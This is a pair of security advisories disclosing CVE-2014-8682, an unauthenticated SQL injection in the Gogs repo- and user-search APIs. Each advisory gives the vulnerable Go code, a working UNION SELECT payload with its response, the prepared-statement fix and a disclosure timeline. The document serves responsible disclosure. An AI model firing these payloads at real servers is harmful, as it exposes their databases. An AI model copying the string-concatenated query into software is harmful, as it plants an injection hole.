Gogs – ‘users’/’repos’ ‘?q’ SQL Injection
Unauthenticated SQL Injection in Gogs repository search ======================================================= Researcher: Timo Schmid <tschmid@ernw.de> Description =========== Gogs(Go Git Service) is a painless self-hosted Git Service written in Go. (taken from [1]) It is very similiar to the github hosting plattform. Multiple users can create multiple repositories and share code with others with the git version control system. Repositories can be marked as public or private to prevent access from unauthorized users. Gogs provides an api view to give javascript code the possibility to search for existing repositories in the system. This view is accessible at /api/v1/repos/search?q=<search query>. The q Parameter of this view is vulnerable to SQL injection. Exploitation Technique ====================== Remote Severity Level ============== Critical CVSS Base Score =============== 8.3 (AV:N / AC:M / Au:N / C:C / I:P / A:P) CVE-ID ====== CVE-2014-8682 Impact ====== The vulnerability results at least in a complete compromise of the database. Depending on the particular database configuration a compromise of the system is also possible. Status ====== Fixed by Vendor Vulnerable Code Section ======================= models/repo.go: [...] // SearchRepositoryByName returns given number of repositories whose name contains keyword. func SearchRepositoryByName(opt SearchOption) (repos []*Repository, err error) { // Prevent SQL inject. opt.Keyword = FilterSQLInject(opt.Keyword) if len(opt.Keyword) == 0 { return repos, nil } opt.Keyword = strings.ToLower(opt.Keyword) repos = make([]*Repository, 0, opt.Limit) // Append conditions. sess := x.Limit(opt.Limit) if opt.Uid > 0 { sess.Where("owner_id=?", opt.Uid) } if !opt.Private { sess.And("is_private=false") } sess.And("lower_name like '%" + opt.Keyword + "%'").Find(&repos) return repos, err } [...] The vulnerability exists because of a string concatination in the SQL query with user supplied data. Because of the SQL filter at the method entry, attackers can't use spaces (0x20) and since v0.5.6.1025-g83283b commas are also filtered. Proof of Concept ================ Request: http://www.example.com/api/v1/repos/search?q=%27)%09UNION%09SELECT%09*%09FROM%09 (SELECT%09null)%09AS%09a1%09%09JOIN%09(SELECT%091)%09as%09u%09JOIN%09(SELECT%09 user())%09AS%09b1%09JOIN%09(SELECT%09user())%09AS%09b2%09JOIN%09(SELECT%09null) %09as%09a3%09%09JOIN%09(SELECT%09null)%09as%09a4%09%09JOIN%09(SELECT%09null)%09 as%09a5%09%09JOIN%09(SELECT%09null)%09as%09a6%09%09JOIN%09(SELECT%09null)%09as %09a7%09%09JOIN%09(SELECT%09null)%09as%09a8%09%09JOIN%09(SELECT%09null)%09as%09 a9%09JOIN%09(SELECT%09null)%09as%09a10%09JOIN%09(SELECT%09null)%09as%09a11%09 JOIN%09(SELECT%09null)%09as%09a12%09JOIN%09(SELECT%09null)%09as%09a13%09%09JOIN %09(SELECT%09null)%09as%09a14%09%09JOIN%09(SELECT%09null)%09as%09a15%09%09JOIN %09(SELECT%09null)%09as%09a16%09%09JOIN%09(SELECT%09null)%09as%09a17%09%09JOIN %09(SELECT%09null)%09as%09a18%09%09JOIN%09(SELECT%09null)%09as%09a19%09%09JOIN %09(SELECT%09null)%09as%09a20%09%09JOIN%09(SELECT%09null)%09as%09a21%09%09JOIN %09(SELECT%09null)%09as%09a22%09where%09(%27%25%27=%27 Response: {"data":[{"repolink":"bluec0re/test"},{"repolink":"bluec0re/secret"},{"repolink" :"bluec0re/root@localhost"}],"ok":true} Solution ======== This vulnerability could easily be fixed by using prepared statements: sess.And("lower_name like ?", "%" + opt.Keyword + "%").Find(&repos) Update to version 0.5.6.1105. Affected Versions ================= >= v0.3.1-9-g49dc57e <= v0.5.6.1104-g0c5ba45 Timeline ======== 2014-09-25: Developer informed 2014-10-16: Contact of developer regarding fix 2014-10-25: Working together with developer on fix 2014-11-03: Contacted developer 2014-11-04: Fixed in master branch 2014-11-14: CVE-ID assigned Credits ======= Pascal Turbing <pturbing@ernw.de> Jiahua (Joe) Chen <u@gogs.io> References ==========Update to version 0.5.6.1105. [1] https://github.com/gogits/gogs [2] http://gogs.io/ [3] http://www.insinuator.net/2012/05/sql-injection-testing-for-business-purposes-part-1/ [4] http://www.insinuator.net/2012/05/sql-injection-testing-for-business-purposes-part-2/ [5] http://www.insinuator.net/2012/06/sql-injection-testing-for-business-purposes-part-3/ [6] https://www.ernw.de/download/BC-1402.txt Advisory-ID =========== BC-1402 Disclaimer ========== The information herein contained may change without notice. Use of this information constitutes acceptance for use in an AS IS condition. There are NO warranties, implied or otherwise, with regard to this information or its use. Any use of this information is at the user's risk. In no event shall the author/ distributor be held liable for any damages whatsoever arising out of or in connection with the use or spread of this information. Unauthenticated SQL Injection in Gogs user search ================================================= Researcher: Timo Schmid <tschmid@ernw.de> Description =========== Gogs(Go Git Service) is a painless self-hosted Git Service written in Go. (taken from [1]) It is very similiar to the github hosting plattform. Multiple users can create multiple repositories and share code with others with the git version control system. Repositories can be marked as public or private to prevent access from unauthorized users. Gogs provides an api view to give javascript code the possibility to search for existing users in the system. This view is accessible at /api/v1/users/search?q=<search query>. The q Parameter of this view is vulnerable to SQL injection. Exploitation Technique: ======================= Remote Severity Level: =============== Critical CVSS Base Score =============== 8.3 (AV:N / AC:M / Au:N / C:C / I:P / A:P) CVE-ID ====== CVE-2014-8682 Impact ====== The vulnerability results at least in a complete compromise of the database. Depending on the particular database configuration a compromise of the system is also possible. Status ====== Fixed by Vendor Vulnerable Code Section ======================= models/user.go: [...] // SearchUserByName returns given number of users whose name contains keyword. func SearchUserByName(opt SearchOption) (us []*User, err error) { opt.Keyword = FilterSQLInject(opt.Keyword) if len(opt.Keyword) == 0 { return us, nil } opt.Keyword = strings.ToLower(opt.Keyword) us = make([]*User, 0, opt.Limit) err = x.Limit(opt.Limit).Where("type=0").And("lower_name like '%" + opt.Keyword + "%'").Find(&us) return us, err } [...] The vulnerability exists because of a string concatination in the SQL query with user supplied data. Because of the SQL filter at the method entry, attackers can't use spaces (0x20) and since v0.5.6.1025-g83283b commas are also filtered. Proof of Concept ================ Request: http://www.example.com/api/v1/users/search?q='/**/and/**/false)/**/union/**/ select/**/null,null,@@version,null,null,null,null,null,null,null,null,null,null, null,null,null,null,null,null,null,null,null,null,null,null,null,null/**/from /**/mysql.db/**/where/**/('%25'%3D' Response: {"data":[{"username":"5.5.40-0ubuntu0.14.04.1","avatar": "//1.gravatar.com/avatar/"}],"ok":true} Solution ======== This vulnerability could easily be fixed by using prepared statements: err = x.Limit(opt.Limit).Where("type=0").And("lower_name like ?", "%" + opt.Keyword + "%").Find(&us) Update to version 0.5.6.1105. Affected Versions ================= >= v0.3.1-9-g49dc57e <= v0.5.6.1104-g0c5ba45 Timeline ======== 2014-09-25: Developer informed 2014-10-16: Contact of developer regarding fix 2014-10-25: Working together with developer on fix 2014-11-03: Contacted developer 2014-11-04: Fixed in master branch 2014-11-14: CVE-ID assigned Credits ======= Pascal Turbing <pturbing@ernw.de> Jiahua (Joe) Chen <u@gogs.io> References ========== [1] https://github.com/gogits/gogs [2] http://gogs.io/ [3] http://www.insinuator.net/2012/05/sql-injection-testing-for-business-purposes-part-1/ [4] http://www.insinuator.net/2012/05/sql-injection-testing-for-business-purposes-part-2/ [5] http://www.insinuator.net/2012/06/sql-injection-testing-for-business-purposes-part-3/ [6] https://www.ernw.de/download/BC-1403.txt Advisory-ID =========== BC-1403 Disclaimer ========== The information herein contained may change without notice. Use of this information constitutes acceptance for use in an AS IS condition. There are NO warranties, implied or otherwise, with regard to this information or its use. Any use of this information is at the user's risk. In no event shall the author/ distributor be held liable for any damages whatsoever arising out of or in connection with the use or spread of this information. -- Timo Schmid ERNW GmbH, Carl-Bosch-Str. 4, 69115 Heidelberg - www.ernw.de Tel. +49 6221 480390 - Fax 6221 419008 - Cell +49 151 16227192 PGP-FP 971B D4F7 5DD1 FCED 11FC 2C61 7AB6 927D 6F26 6CE0 Handelsregister Mannheim: HRB 337135 Geschaeftsfuehrer: Enno Rey ============================================================== || Blog: www.insinuator.net | | Conference: www.troopers.de || ============================================================== ================== TROOPERS15 ================== * International IT Security Conference & Workshops * 16th - 20st March 2015 / Heidelberg, Germany * www.troopers.de ==================================================== |